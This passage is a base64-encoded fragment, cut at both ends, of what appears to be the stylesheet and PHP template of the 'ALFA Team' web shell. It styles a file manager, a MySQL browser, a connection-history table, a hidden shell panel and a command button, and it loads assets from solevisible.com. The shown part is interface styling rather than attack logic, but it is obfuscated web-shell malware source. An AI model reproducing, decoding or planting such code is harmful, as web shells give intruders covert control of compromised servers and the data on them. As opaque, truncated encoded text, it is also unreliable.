sZXJ0LXNoYWtlIC41cyBlYXNlLWluLW91dH0uYWxlcnQtY29udGVudC10aXRsZXtmb250LXdlaWdodDo3MDB9LmFsZXJ0LWJveC5hbGVydC1zdWNjZXNze2JhY2tncm91bmQ6cmdiYSg1NiwxMjcsNTYsLjg5KX0uYWxlcnQtZXJyb3J7YmFja2dyb3VuZDpyZ2JhKDE5MSw1NCw1NCwuODkpfS5hbGVydC1ib3guaGlkZXtvcGFjaXR5OjB9LmFsZXJ0LWNsb3Nle2JhY2tncm91bmQ6MCAwO3dpZHRoOjEycHg7aGVpZ2h0OjEycHg7cG9zaXRpb246YWJzb2x1dGU7dG9wOjE1cHg7cmlnaHQ6MTVweH0uYWxlcnQtY2xvc2U6YWZ0ZXIsLmFsZXJ0LWNsb3NlOmJlZm9yZXtjb250ZW50OiIiO3dpZHRoOjE1cHg7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2ZmZjtwb3NpdGlvbjphYnNvbHV0ZTt0b3A6NXB4O3JpZ2h0Oi0xcHg7ZGlzcGxheTpibG9ja30uYWxlcnQtY2xvc2U6YmVmb3Jle3RyYW5zZm9ybTpyb3RhdGUoNDVkZWcpfS5hbGVydC1jbG9zZTphZnRlcnt0cmFuc2Zvcm06cm90YXRlKDEzNWRlZyl9LmFsZXJ0LWNsb3NlOmhvdmVyOmFmdGVyLC5hbGVydC1jbG9zZTpob3ZlcjpiZWZvcmV7Ym9yZGVyLXRvcDpzb2xpZCAycHggI2Q4ZDhkOH1AbWVkaWEgKG1heC13aWR0aDo3NjdweCkgYW5kIChtaW4td2lkdGg6NDgxcHgpey5hbGVydC1hcmVhe2xlZnQ6MTAwcHg7cmlnaHQ6MTAwcHh9fUBtZWRpYSAobWluLXdpZHRoOjc2OHB4KXsuYWxlcnQtYXJlYXt3aWR0aDozNTBweDtsZWZ0OmF1dG87cmlnaHQ6MDt6LWluZGV4Ojk5OTl9fUBrZXlmcmFtZXMgdGFiX2NoYW5nZV9jb2xvcnswJXtiYWNrZ3JvdW5kLWNvbG9yOiMxMzNkNTF9NTAle2JhY2tncm91bmQtY29sb3I6Z3JlZW59fUAtd2Via2l0LWtleWZyYW1lcyBhbGVydC1zaGFrZXswJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKC0xMHB4KX00MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgxMHB4KX02MCV7LXdlYmtpdC10cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAley13ZWJraXQtdHJhbnNmb3JtOnRyYW5zbGF0ZVgoMTBweCl9MTAwJXstd2Via2l0LXRyYW5zZm9ybTp0cmFuc2xhdGVYKDApfX1Aa2V5ZnJhbWVzIGFsZXJ0LXNoYWtlezAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDApfTIwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9NDAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTYwJXt0cmFuc2Zvcm06dHJhbnNsYXRlWCgtMTBweCl9ODAle3RyYW5zZm9ybTp0cmFuc2xhdGVYKDEwcHgpfTEwMCV7dHJhbnNmb3JtOnRyYW5zbGF0ZVgoMCl9fS50ZXh0RWZmZWN0e3Bvc2l0aW9uOmFic29sdXRlO3dpZHRoOjUwMHB4O3RvcDotMTBweDthbmltYXRpb246YWxlcnQtc2hha2UgLjVzIGVhc2UtaW4tb3V0O2FuaW1hdGlvbi1pdGVyYXRpb24tY291bnQ6Mn0uYWxmYXRlYW0tbG9hZGVyLXRleHR7cG9zaXRpb246YWJzb2x1dGU7Y29sb3I6IzQ2YmI0NTt0b3A6MjMlO2xlZnQ6NDklO3RyYW5zZm9ybTp0cmFuc2xhdGUoLTUwJSwtNTAlKTtmb250LXNpemU6NDBweDtsZXR0ZXItc3BhY2luZzo3cHh9LmFsZmEtYWpheC1lcnJvcntwb3NpdGlvbjphYnNvbHV0ZTtjb2xvcjojZmYwYTBhO3RvcDo1MCU7bGVmdDo1MCU7dHJhbnNmb3JtOnRyYW5zbGF0ZSgtNTAlLC01MCUpO2ZvbnQtc2l6ZTozMHB4fS5jb25uZWN0aW9uLWhpc3QtdGFibGV7bWFyZ2luLWxlZnQ6YXV0bzttYXJnaW4tcmlnaHQ6YXV0bzt0ZXh0LWFsaWduOmp1c3RpZnk7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlfS5jb25uZWN0aW9uLWhpc3QtdGFibGUgdGQsLmNvbm5lY3Rpb24taGlzdC10YWJsZSB0aHtib3JkZXI6MXB4IHNvbGlkICNkZGQ7dGV4dC1hbGlnbjpsZWZ0O3BhZGRpbmc6OHB4fS5jb25uZWN0aW9uLWhpcy1idG57bWFyZ2luLWJvdHRvbToxMHB4O3BhZGRpbmc6NXB4O2JhY2tncm91bmQ6IzIwNjkyMDtjb2xvcjojZmZmO2JvcmRlcjpub25lO291dGxpbmU6MDtjdXJzb3I6cG9pbnRlcjtmb250LXdlaWdodDo3MDA7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kIC4zc30uY29ubmVjdGlvbi1oaXMtYnRuLmNvbm5lY3Rpb24tZGVsZXRle21hcmdpbjp1bnNldDtwYWRkaW5nOjVweDtiYWNrZ3JvdW5kOnJlZDt3aWR0aDozM3B4O2JvcmRlci1yYWRpdXM6M3B4O3RyYW5zaXRpb246YmFja2dyb3VuZCAuM3N9LmNvbm5lY3Rpb24tZGVsZXRlOmhvdmVye2JhY2tncm91bmQ6I2Y1Njk2OSFpbXBvcnRhbnR9LmNvbm5lY3Rpb24taGlzLWJ0bjpob3ZlcntiYWNrZ3JvdW5kOiMzMGIzMzB9I3VwX2Jhcl9ob2xkZXJ7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDoxMDAwMDA7d2lkdGg6MTAwJX0jZmlsZXNtYW5fdGFic3twYWRkaW5nOjhweDtib3JkZXI6MXB4IHNvbGlkICMwZTMwNGE7Y29sb3I6IzY3YWJkZjtvdmVyZmxvdy14OmF1dG87d2hpdGUtc3BhY2U6bm93cmFwfS5zb3J0YWJsZS1naG9zdHtvcGFjaXR5Oi41O2JhY2tncm91bmQ6I2M4ZWJmYn0uZm9sZGVyLXRhYi1pY29ue3dpZHRoOjE2cHghaW1wb3J0YW50fSNmaWxlc21hbi10YWItZnVsbC1wYXRoe2Rpc3BsYXk6bm9uZTtwb3NpdGlvbjphYnNvbHV0ZTtwb2ludGVyLWV2ZW50czpub25lO2JhY2tncm91bmQ6IzE2Mzc0NjtwYWRkaW5nOjdweDtjb2xvcjojMGYwO2JvcmRlci1yYWRpdXM6MTBweDttaW4td2lkdGg6NThweDt6LWluZGV4OjEwfSNmaWxlc21hbi10YWItZnVsbC1wYXRoOjphZnRlcntjb250ZW50OiIiO3Bvc2l0aW9uOmFic29sdXRlO3RvcDoxMDAlO2xlZnQ6MzVweDttYXJnaW4tbGVmdDotNXB4O2JvcmRlci13aWR0aDo1cHg7Ym9yZGVyLXN0eWxlOnNvbGlkO3BvaW50ZXItZXZlbnRzOm5vbmU7Ym9yZGVyLWNvbG9yOiMxNjM3NDYgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnQgdHJhbnNwYXJlbnR9Lm15c3FsLW1haW57aGVpZ2h0Ojg0dmg7cG9zaXRpb246cmVsYXRpdmV9Lm15c3FsLWhpZGUtY29udGVudHtkaXNwbGF5Om5vbmV9Lm15c3FsLXF1ZXJ5LXJlc3VsdC10YWJze21hcmdpbi1ib3R0b206MTBweDtwYWRkaW5nOjNweDtib3JkZXItYm90dG9tOjRweCBzb2xpZCAjMGYzMDRhfS5teXNxbC1tYWluIC50YWJsZXMtcGFuZWwtY3Rse3Bvc2l0aW9uOmFic29sdXRlO2NvbG9yOiNmZmY7cGFkZGluZzoxMHB4O3otaW5kZXg6MTtib3JkZXItcmFkaXVzOjEwcHg7dG9wOjQ1JTtsZWZ0OmNhbGMoMTclICsgMTBweCk7YmFja2dyb3VuZC1jb2xvcjojMDA5Njg3O2N1cnNvcjpwb2ludGVyfS50YWJsZXMtcGFuZWwtY3RsLW1pbntsZWZ0Oi0yMXB4IWltcG9ydGFudH0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2e2Rpc3BsYXk6aW5saW5lLWJsb2NrO3BhZGRpbmc6NXB4O21hcmdpbi1yaWdodDoycHg7YmFja2dyb3VuZDojMTMzZDUxO2NvbG9yOiNmZmY7Y3Vyc29yOnBvaW50ZXI7dHJhbnNpdGlvbjpiYWNrZ3JvdW5kLWNvbG9yIC41c30ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2OmhvdmVye2JhY2tncm91bmQtY29sb3I6I2EyMzkzOX0ubXlzcWwtcXVlcnktcmVzdWx0LXRhYnMgZGl2Lm15c3FsLXF1ZXJ5LXNlbGVjdGVkLXRhYntiYWNrZ3JvdW5kOnJlZH10YWJsZSB0ci50Ymxfcm93Om50aC1jaGlsZChvZGQpe2JhY2tncm91bmQ6IzQyNDA0MH0ubXlzcWwtdGFibGVzIC50YWJsZXMtcm93e21hcmdpbi1sZWZ0OjI2cHh9Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHMsLm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3tmbG9hdDpsZWZ0O2hlaWdodDoxMDAlO292ZXJmbG93OmF1dG99Lm15c3FsLW1haW4gLm15c3FsLXF1ZXJ5LXJlc3VsdHN7d2lkdGg6Y2FsYyg4MCUgKyA0cHgpO21hcmdpbi1sZWZ0OjVweDtwb3NpdGlvbjpyZWxhdGl2ZTtvdmVyZmxvdzp1bnNldH0ubXlzcWwtbWFpbiAubXlzcWwtcXVlcnktcmVzdWx0cy1maXhlZHt3aWR0aDoxMDAlfS5teXNxbC1tYWluIC5teXNxbC1xdWVyeS1yZXN1bHRzIC5teXNxbC1xdWVyeS1jb250ZW50e2hlaWdodDo4OSU7b3ZlcmZsb3c6YXV0b30ubXlzcWwtcXVlcnktdGFiLWhpZGV7aGVpZ2h0OjAhaW1wb3J0YW50O3BhZGRpbmc6MCFpbXBvcnRhbnR9Lm15c3FsLW1haW4gLm15c3FsLXRhYmxlc3t3aWR0aDoxOSU7Ym9yZGVyLXJpZ2h0OjRweCBzb2xpZCAjMGUzMDRhfS5teXNxbC1tYWluIHRhYmxlIHRke3ZlcnRpY2FsLWFsaWduOnRvcH0ubXlzcWwtbWFpbiAubXlzcWwtc2VhcmNoLWFyZWEgdGFibGUgdGR7dmVydGljYWwtYWxpZ246bWlkZGxlO3BhZGRpbmc6N3B4fS5teXNxbC10YWJsZXMgLmJsb2Nre3Bvc2l0aW9uOnJlbGF0aXZlO3dpZHRoOjEuNWVtO2hlaWdodDoxLjVlbTttaW4td2lkdGg6MTZweDttaW4taGVpZ2h0OjE2cHg7ZmxvYXQ6bGVmdH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBiLC5teXNxbC10YWJsZXMgZGl2LmJsb2NrIGl7d2lkdGg6MS41ZW07aGVpZ2h0OjEuN2VtO21pbi13aWR0aDoxNnB4O21pbi1oZWlnaHQ6OHB4O3Bvc2l0aW9uOmFic29sdXRlO2JvdHRvbTouN2VtO2xlZnQ6Ljc1ZW07ei1pbmRleDowfS5teXNxbC10YWJsZXMgLmJsb2NrIGl7ZGlzcGxheTpibG9jaztib3JkZXItbGVmdDoxcHggc29saWQgIzY2Njtib3JkZXItYm90dG9tOjFweCBzb2xpZCAjNjY2O3Bvc2l0aW9uOnJlbGF0aXZlO3otaW5kZXg6MH0ubXlzcWwtdGFibGVzIC5ibG9jayBie2Rpc3BsYXk6YmxvY2s7aGVpZ2h0Oi43NWVtO2JvdHRvbTowO2xlZnQ6Ljc1ZW07Ym9yZGVyLWxlZnQ6MXB4IHNvbGlkICM2NjZ9Lm15c3FsLXRhYmxlcyBkaXYuYmxvY2sgYSwubXlzcWwtdGFibGVzIGRpdi5ibG9jayB1e3Bvc2l0aW9uOmFic29sdXRlO2xlZnQ6NTAlO3RvcDo1MCU7ei1pbmRleDoxMH0ubXlzcWwtdGFibGVzIGRpdi5ibG9jayBpbWd7cG9zaXRpb246cmVsYXRpdmU7dG9wOi0uNmVtO2xlZnQ6MDttYXJnaW4tbGVmdDotN3B4fS5teXNxbC10YWJsZXMgLmNsZWFyZmxvYXR7Y2xlYXI6Ym90aH0ubXlzcWwtdGFibGVzIHVse2xpc3Qtc3R5bGUtdHlwZTpub25lO21hcmdpbi1sZWZ0OjA7cGFkZGluZzowfS5teXNxbC10YWJsZXMgdWwgbGl7d2hpdGUtc3BhY2U6bm93cmFwO2NsZWFyOmJvdGg7bWluLWhlaWdodDoxNnB4fS5teXNxbC10YWJsZXMgLmRiX25hbWV7bWFyZ2luLWxlZnQ6MTBweH0ubXlzcWwtdGFibGVzIC5saXN0X2NvbnRhaW5lcntib3JkZXItbGVmdDoxcHggc29saWQgIzY2NjttYXJnaW4tbGVmdDouNzVlbTtwYWRkaW5nLWxlZnQ6Ljc1ZW19LmhpZGUtZGItdGFibGVze2Rpc3BsYXk6bm9uZX0ubXlzcWwtbWFpbjphZnRlcntjb250ZW50OiIiO2Rpc3BsYXk6dGFibGU7Y2xlYXI6Ym90aH10YWJsZS5teXNxbC1kYXRhLXRibHtib3JkZXI6bm9uZSFpbXBvcnRhbnQ7Ym9yZGVyLWNvbGxhcHNlOmNvbGxhcHNlIWltcG9ydGFudH10YWJsZS5teXNxbC1kYXRhLXRibCB0ciB0aHtwYWRkaW5nOjVweH10YWJsZS5teXNxbC1kYXRhLXRibCB0ZHtib3JkZXItbGVmdDozcHggc29saWQgIzMwNWE4ZDtib3JkZXItcmlnaHQ6M3B4IHNvbGlkICMzMDVhOGQ7cGFkZGluZzo2cHh9dGFibGUubXlzcWwtZGF0YS10YmwgdGQ6Zmlyc3QtY2hpbGR7Ym9yZGVyLWxlZnQ6bm9uZX10YWJsZS5teXNxbC1kYXRhLXRibCB0ZDpsYXN0LWNoaWxke2JvcmRlci1yaWdodDpub25lfS5teXNxbC1pbnNlcnQtcmVzdWx0LC5teXNxbC1zdHJ1Y3R1cmUtcXJlcywubXlzcWwtdXBkYXRlLXJlc3VsdHtkaXNwbGF5Om5vbmU7dGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzoxMHB4O2JvcmRlcjoxcHggZGFzaGVkO21hcmdpbjoyMnB4fSNhbGZhLWNvcHlyaWdodHttYXJnaW4tdG9wOjE1cHh9LmljX2JfcGx1c3tiYWNrZ3JvdW5kLWltYWdlOnVybChodHRwOi8vc29sZXZpc2libGUuY29tL2ljb25zL21lbnUvYl9wbHVzLnBuZyl9LmljX2JfbWludXN7YmFja2dyb3VuZC1pbWFnZTp1cmwoaHR0cDovL3NvbGV2aXNpYmxlLmNvbS9pY29ucy9tZW51L2JfbWludXMucG5nKX0KPD9waHAgZWNobyAnCkBrZXlmcmFtZXMgc3BpbiB7ZnJvbSB7dHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRve3RyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC13ZWJraXQta2V5ZnJhbWVzIHNwaW4ge2Zyb20gey13ZWJraXQtdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstd2Via2l0LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tb3ota2V5ZnJhbWVzIHNwaW4ge2Zyb20gey1tb3otdHJhbnNmb3JtOiByb3RhdGUoMGRlZyk7fXRvIHstbW96LXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KQC1tcy1rZXlmcmFtZXMgc3BpbiB7ZnJvbSB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDBkZWcpO310byB7LW1zLXRyYW5zZm9ybTogcm90YXRlKDM2MGRlZyk7fX0KI2FsZmFsb2FkZXJ7Jy4kY3NzY29kZS4nd2lkdGg6MTAwcHg7aGVpZ2h0OjEwMHB4O30KI2FfbG9hZGVyIGltZ3snLiRjc3Njb2RlLid3aWR0aDoxNTBweDtoZWlnaHQ6MTUwcHg7cG9zaXRpb246Zml4ZWQ7ei1pbmRleDo5OTk5OTk7dG9wOiAzMSU7bGVmdDogNDUlO30KLmFqYXhhcmVhe2Rpc3BsYXk6bm9uZTtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7Y29sb3I6IzY3QUJERn0udXBfYmFye21hcmdpbi1ib3R0b206IDJweDt0cmFuc2l0aW9uOndpZHRoIDJzO2JhY2tncm91bmQtY29sb3I6cmVkO3dpZHRoOjA7aGVpZ2h0OjhweDtkaXNwbGF5Om5vbmU7fSNoaWRkZW5fc2h7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO3RleHQtYWxpZ246Y2VudGVyO3Bvc2l0aW9uOmFic29sdXRlO3JpZ2h0OjA7bGVmdDo5MCU7Ym9yZGVyLWJvdHRvbS1sZWZ0LXJhZGl1czoyZW19LmFsZXJ0X2dyZWVue2NvbG9yOiMwRjA7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpzbWFsbDt0ZXh0LWRlY29yYXRpb246bm9uZX0ud2hvbGV7YmFja2dyb3VuZC1jb2xvcjojMDAwO2JhY2tncm91bmQtaW1hZ2U6dXJsKGh0dHA6Ly9zb2xldmlzaWJsZS5jb20vaW1hZ2VzL2FsZmFiZy5wbmcpO2JhY2tncm91bmQtcG9zaXRpb246Y2VudGVyO2JhY2tncm91bmQtYXR0YWNobWVudDpmaXhlZDtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXR9LmhlYWRlcntoZWlnaHQ6YXV0bzt3aWR0aDphdXRvO2JvcmRlcjo3cHggc29saWQgIzBFMzA0QTtjb2xvcjonLmFsZmFfZ2V0Q29sb3IoImhlYWRlcl92YWx1ZXMiKS4nO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWZ9LmhlYWRlciBhe3RleHQtZGVjb3JhdGlvbjpub25lO30uZmlsZXN0b29scyBhe2NvbG9yOiMwRjA7dGV4dC1kZWNvcmF0aW9uOm5vbmV9LmZpbGVzdG9vbHMgYTpob3Zlcntjb2xvcjojRkZGO3RleHQtZGVjb3JhdGlvbjpub25lO31zcGFue2ZvbnQtd2VpZ2h0OmJvbGRlcjtjb2xvcjojRkZGfS50eHRmb250e2ZvbnQtZmFtaWx5OiJDb21pYyBTYW5zIE1TIjtmb250LXNpemU6c21hbGw7Y29sb3I6I2ZmZjtkaXNwbGF5OmlubGluZS1ibG9ja30udHh0Zm9udF9oZWFkZXJ7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2ZvbnQtc2l6ZTpsYXJnZTtkaXNwbGF5OmlubGluZS1ibG9jaztjb2xvcjojNTljYzMzfS50Ymx0eHR7Zm9udC1mYW1pbHk6IkNvbWljIFNhbnMgTVMiO2NvbG9yOiNmZmY7Zm9udC1zaXplOnNtYWxsO2Rpc3BsYXk6aW5saW5lLWJsb2NrfWlucHV0W3R5cGU9ImZpbGUiXXtkaXNwbGF5Om5vbmV9LmlucHV0ZmlsZXtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtib3JkZXItcmFkaXVzOjRweDtoZWlnaHQ6MjBweDt3aWR0aDoyNTBweDt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtjdXJzb3I6cG9pbnRlcjtkaXNwbGF5OmlubGluZS1ibG9jaztvdmVyZmxvdzpoaWRkZW59LmlucHV0ZmlsZTpob3Zlcntib3gtc2hhZG93OjAgMCA0cHggIzI3OTc5Qjtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6NHB4Oy13ZWJraXQtYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHg7LW1vei1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweH0uaW5wdXRmaWxlIHNwYW4sLmlucHV0ZmlsZSBzdHJvbmd7cGFkZGluZzoycHg7cGFkZGluZy1sZWZ0OjEwcHh9LmlucHV0ZmlsZSBzcGFue2NvbG9yOiMyNWZmMDA7d2lkdGg6OTBweDttaW4taGVpZ2h0OjJlbTtkaXNwbGF5OmlubGluZS1ibG9jazt0ZXh0LW92ZXJmbG93OmVsbGlwc2lzO3doaXRlLXNwYWNlOm5vd3JhcDtvdmVyZmxvdzpoaWRkZW47dmVydGljYWwtYWxpZ246dG9wO2Zsb2F0OmxlZnR9LmlucHV0ZmlsZSBzdHJvbmd7YmFja2dyb3VuZC1pbWFnZTp1cmwoJy5fX3Nob3dpY29uKCdhbGZhbWluaScpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOmZsb2F0O2hlaWdodDoxMDAlO3dpZHRoOjEwOXB4O2NvbG9yOiNmZmY7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2Rpc3BsYXk6aW5saW5lLWJsb2NrO2Zsb2F0OnJpZ2h0fS5pbnB1dGZpbGU6Zm9jdXMgc3Ryb25nLC5pbnB1dGZpbGUuaGFzLWZvY3VzIHN0cm9uZywuaW5wdXRmaWxlOmhvdmVyIHN0cm9uZ3tiYWNrZ3JvdW5kLWNvbG9yOiM0NjY0N0F9LmJ1dHRvbntwYWRkaW5nOjNweH0jYWRkdXAsLmJ1dHRvbntvdXRsaW5lOm5vbmU7Y3Vyc29yOnBvaW50ZXI7Ym9yZGVyOjFweCBzb2xpZCAjMEUzMDRBO2JhY2tncm91bmQ6dHJhbnNwYXJlbnQ7Ym94LXNoYWRvdzowIDAgNHB4ICMwRTMwNEE7LXdlYmtpdC1ib3JkZXItcmFkaXVzOjRweDstbW96LWJvcmRlci1yYWRpdXM6NHB4O2JvcmRlci1yYWRpdXM6MTAwcHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4O2JhY2tncm91bmQtY29sb3I6IzAwMDtjb2xvcjpncmVlbjtib3JkZXItcmFkaXVzOjEwMHB4fSNhZGR1cDpob3ZlciwuYnV0dG9uOmhvdmVye2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5Qjstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czoxMDBweDstd2Via2l0LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4Oy1tb3otYm94LXNoYWRvdzpyZ2JhKDAsMTE5LDApIDAgMCA0cHh9aW5wdXRbdHlwZT10ZXh0XTpkaXNhYmxlZDpob3ZlcntjdXJzb3I6bm90LWFsbG93ZWR9dGR7cGFkZGluZzonLigkR0xPQkFMU1snREJfTkFNRSddWydzaG93X2ljb25zJ109PScxJz8nMCc6JzEnKS4ncHh9Lm15Q2hlY2tib3h7cGFkZGluZy1sZWZ0OjJweH0ubXlDaGVja2JveCBsYWJlbHtkaXNwbGF5OmlubGluZS1ibG9jaztjdXJzb3I6cG9pbnRlcjtwb3NpdGlvbjpyZWxhdGl2ZX0ubXlDaGVja2JveCBpbnB1dFt0eXBlPWNoZWNrYm94XXtkaXNwbGF5Om5vbmV9Lm15Q2hlY2tib3ggbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7ZGlzcGxheTppbmxpbmUtYmxvY2s7d2lkdGg6MTRweDtoZWlnaHQ6MTNweDtwb3NpdGlvbjphYnNvbHV0ZTtiYWNrZ3JvdW5kLWNvbG9yOiNhYWE7Ym94LXNoYWRvdzppbnNldCAwIDJweCAzcHggMCByZ2JhKDAsMCwwLC4zKSwwIDFweCAwIDAgcmdiYSgyNTUsMjU1LDI1NSwuOCl9Lm15Q2hlY2tib3ggbGFiZWx7bWFyZ2luLWJvdHRvbToxNXB4O3BhZGRpbmctcmlnaHQ6MTdweH0ubXlDaGVja2JveCBsYWJlbDpiZWZvcmV7Ym9yZGVyLXJhZGl1czoxMDBweH1pbnB1dFt0eXBlPWNoZWNrYm94XTpjaGVja2VkICsgbGFiZWw6YmVmb3Jle2NvbnRlbnQ6IiI7YmFja2dyb3VuZC1jb2xvcjojMEUzMDRBO2JhY2tncm91bmQtaW1hZ2U6dXJsKCcuX19zaG93aWNvbignYWxmYW1pbmknKS4nKTtiYWNrZ3JvdW5kLXJlcGVhdDpuby1yZXBlYXQ7YmFja2dyb3VuZC1wb3NpdGlvbjo1MCUgNTAlO2JhY2tncm91bmQtc2l6ZToxNHB4IDE0cHg7Ym94LXNoYWRvdzowIDAgNHB4ICMwRjB9I21ldW5saXN0e2ZvbnQtZmFtaWx5OlZlcmRhbmEsR2VuZXZhLHNhbnMtc2VyaWY7Y29sb3I6I0ZGRjt3aWR0aDphdXRvO2JvcmRlci1yaWdodC13aWR0aDo3cHg7Ym9yZGVyLWxlZnQtd2lkdGg6N3B4O2hlaWdodDphdXRvO2ZvbnQtc2l6ZToxMnB4O2ZvbnQtd2VpZ2h0OjcwMDtib3JkZXItdG9wLXdpZHRoOjA7Ym9yZGVyLWNvbG9yOiMwRTMwNEE7Ym9yZGVyLXN0eWxlOnNvbGlkfS53aG9sZSAjbWV1bmxpc3QgdWx7dGV4dC1hbGlnbjpjZW50ZXI7bGlzdC1zdHlsZS10eXBlOm5vbmU7bWFyZ2luOjA7cGFkZGluZzo1cHggNXB4IDdweCAycHh9Lndob2xlICNtZXVubGlzdCBsaXttYXJnaW46MDtwYWRkaW5nOjA7ZGlzcGxheTppbmxpbmV9Lndob2xlICNtZXVubGlzdCBhe2ZvbnQtZmFtaWx5OmFyaWFsLHNhbnMtc2VyaWY7Zm9udC1zaXplOjE0cHg7dGV4dC1kZWNvcmF0aW9uOm5vbmU7Zm9udC13ZWlnaHQ6NzAwO2NsZWFyOmJvdGg7d2lkdGg6MTAwcHg7bWFyZ2luLXJpZ2h0Oi02cHg7Ym9yZGVyLXJpZ2h0LXdpZHRoOjFweDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LWNvbG9yOiNGRkY7cGFkZGluZzozcHggMTVweH0uZm9vdHtmb250LWZhbWlseTpWZXJkYW5hLEdlbmV2YSxzYW5zLXNlcmlmO21hcmdpbjowO3BhZGRpbmc6MDt3aWR0aDoxMDAlO3RleHQtYWxpZ246Y2VudGVyO2ZvbnQtc2l6ZToxMnB4O2NvbG9yOiMwRTMwNEE7Ym9yZGVyLXJpZ2h0LXdpZHRoOjdweDtib3JkZXItbGVmdC13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS13aWR0aDo3cHg7Ym9yZGVyLWJvdHRvbS1zdHlsZTpzb2xpZDtib3JkZXItcmlnaHQtc3R5bGU6c29saWQ7Ym9yZGVyLXJpZ2h0LXN0eWxlOnNvbGlkO2JvcmRlci1sZWZ0LXN0eWxlOnNvbGlkO2JvcmRlci1jb2xvcjojMEUzMDRBfSN0ZXh0e3RleHQtYWxpZ246Y2VudGVyfWlucHV0W3R5cGU9c3VibWl0XXtjdXJzb3I6cG9pbnRlcjtiYWNrZ3JvdW5kLWltYWdlOnVybCgnLl9fc2hvd2ljb24oJ2J0bicpLicpO2JhY2tncm91bmQtcmVwZWF0Om5vLXJlcGVhdDtiYWNrZ3JvdW5kLXBvc2l0aW9uOjUwJSA1MCU7YmFja2dyb3VuZC1zaXplOjIzcHggMjNweDtiYWNrZ3JvdW5kLWNvbG9yOiMwMDA7d2lkdGg6MzBweDtoZWlnaHQ6MzBweDtib3JkZXI6MXB4IHNvbGlkICMyNzk3OUI7Ym9yZGVyLXJhZGl1czoxMDBweH10ZXh0YXJlYXtwYWRkaW5nOjNweDtjb2xvcjojOTk5O3RleHQtc2hhZG93OiM3NzcgMCAwIDNweDtib3JkZXI6MXB4IHNvbGlkICMwRTMwNEE7YmFja2dyb3VuZDp0cmFuc3BhcmVudDtib3gtc2hhZG93OjAgMCA0cHggIzBFMzA0QTtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OiM1NTUgMCAwIDRweDstbW96LWJveC1zaGFkb3c6IzU1NSAwIDAgNHB4fXRleHRhcmVhOmhvdmVye2NvbG9yOiNGRkY7dGV4dC1zaGFkb3c6IzA2MCAwIDAgNnB4O2JveC1zaGFkb3c6MCAwIDRweCAjMjc5NzlCO2JvcmRlcjoxcHggc29saWQgIzI3OTc5QjtwYWRkaW5nOjNweDstd2Via2l0LWJvcmRlci1yYWRpdXM6NHB4Oy1tb3otYm9yZGVyLXJhZGl1czo0cHg7Ym9yZGVyLXJhZGl1czo0cHg7LXdlYmtpdC1ib3gtc2hhZG93OnJnYmEoMCwxMTksMCkgMCAwIDRweDstbW96LWJveC1zaGFkb3c6cmdiYSgwLDExOSwwKSAwIDAgNHB4fWlucHV0W3R5cGU9dGV4dF0saW5wdXRbdHlwZT1udW1iZXJdLC5hbGZhX2N1c3RvbV9jbWRfYnRue3BhZGRpbmc6M3B4O2NvbG9yOiM5OTk7dGV4dC1zaGFk